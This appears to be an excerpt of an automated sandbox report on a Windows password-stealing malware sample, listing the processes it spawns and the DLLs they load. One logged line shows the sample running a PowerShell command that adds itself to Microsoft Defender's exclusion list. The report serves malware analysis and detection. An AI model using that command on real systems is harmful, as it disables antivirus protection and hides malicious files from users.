Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Program Files (x86)\Windows Media Player\wmplayer.exe "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1512 -s 1456
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Media Player\wmplayer.exe "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process created: C:\Windows\SysWOW64\unregmp2.exe "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
Source: C:\Windows\SysWOW64\unregmp2.exe	Process created: C:\Windows\System32\unregmp2.exe "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
Source: unknown	Process created: C:\Program Files (x86)\Windows Media Player\wmplayer.exe "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Program Files (x86)\Windows Media Player\wmplayer.exe "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process created: C:\Windows\SysWOW64\unregmp2.exe "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
Source: C:\Windows\SysWOW64\unregmp2.exe	Process created: C:\Windows\System32\unregmp2.exe "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: gnsdk_fp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmvcore.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dwmapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mfperfhelper.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmasf.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mfperfhelper.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmploc.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: atlthunk.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: jscript.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: sxs.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: msimg32.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mmdevapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mfplat.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: rtworkq.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: audioses.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: powrprof.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: umpdc.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windows.ui.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windowmanagementapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: inputhost.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: netprofm.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: npmproxy.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dataexchange.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: d3d11.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dcomp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dxgi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wtsapi32.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: winsta.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: imapi2.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mswmdm.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: cewmdm.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmdmps.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: upnp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ssdpapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: explorerframe.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: linkinfo.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ntshrui.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: cscapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: policymanager.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: shsvcs.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: wmpps.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: windows.security.authentication.onlineid.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dpapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: onesettingsclient.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: webio.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: cryptnet.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: comppkgsup.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\unregmp2.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: version.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmp.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmvcore.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: mfperfhelper.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmasf.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmploc.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: mfplat.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: rtworkq.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: audioses.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: windows.ui.dll
